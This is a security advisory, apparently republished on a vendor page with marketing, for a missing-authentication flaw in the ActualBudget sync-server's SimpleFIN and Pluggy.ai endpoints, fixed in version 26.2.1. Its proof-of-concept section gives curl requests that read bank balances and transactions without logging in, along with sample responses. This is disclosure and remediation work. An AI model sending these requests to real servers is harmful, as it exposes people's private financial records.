Summary
ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints
Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.
Details
The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.
The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):
/packages/sync-server/src/app-simplefin/app-simplefin.js/packages/sync-server/src/app-pluggyai/app-pluggyai.js
The sensitive endpoints missing authentication are:
POST /simplefin/statusPOST /simplefin/accountsPOST /simplefin/transactionsPOST /pluggyai/statusPOST /pluggyai/accountsPOST /pluggyai/transactions
The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):
const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication
PoC
The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.
SimpleFIN:
# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"
# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"
# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
PluggyAI:
# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"
# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"
# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
Example response from POST /simplefin/accounts:
{
"status": "ok",
"data": {
"accounts": [
{
"id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"name": "CHEQUING ACCOUNT",
"currency": "CAD",
"balance": "1234.56",
"available-balance": "0.00",
"balance-date": 1771531758,
"transactions": [],
"holdings": [],
"org": {
"domain": "www.cibc.com",
"name": "CIBC",
"sfin-url": "https://beta-bridge.simplefin.org/simplefin",
"url": "https://www.cibconline.cibc.com",
"id": "www.cibconline.cibc.com"
}
},
...
]
}
}
Example response from POST /simplefin/transactions:
{
"status": "ok",
"data": {
"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
"balances": [
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "expected",
"referenceDate": "2026-02-19"
},
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "interimAvailable",
"referenceDate": "2026-02-19"
}
],
"startingBalance": 123456,
"transactions": {
"all": [
{
"booked": true,
"sortOrder": 1771502400,
"date": "2026-02-19",
"payeeName": "E-Transfer",
"notes": "SEND E-TFR ***ABC",
"transactionAmount": {
"amount": "-12.00",
"currency": "USD"
},
"transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"transactedDate": "2026-02-19",
"postedDate": "2026-02-19"
},
...
],
"pending": []
}
}
}
}
Impact
This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-27584? CVE-2026-27584 is a critical-severity missing authentication for critical function vulnerability in @actual-app/sync-server (npm), affecting versions < 26.2.1. It is fixed in 26.2.1. A critical operation is accessible without requiring any authentication.
- Which versions of @actual-app/sync-server are affected by CVE-2026-27584? @actual-app/sync-server (npm) versions < 26.2.1 is affected.
- Is there a fix for CVE-2026-27584? Yes. CVE-2026-27584 is fixed in 26.2.1. Upgrade to this version or later.
- Is CVE-2026-27584 exploitable, and should I be worried? Whether CVE-2026-27584 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27584 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27584? Upgrade
@actual-app/sync-serverto 26.2.1 or later.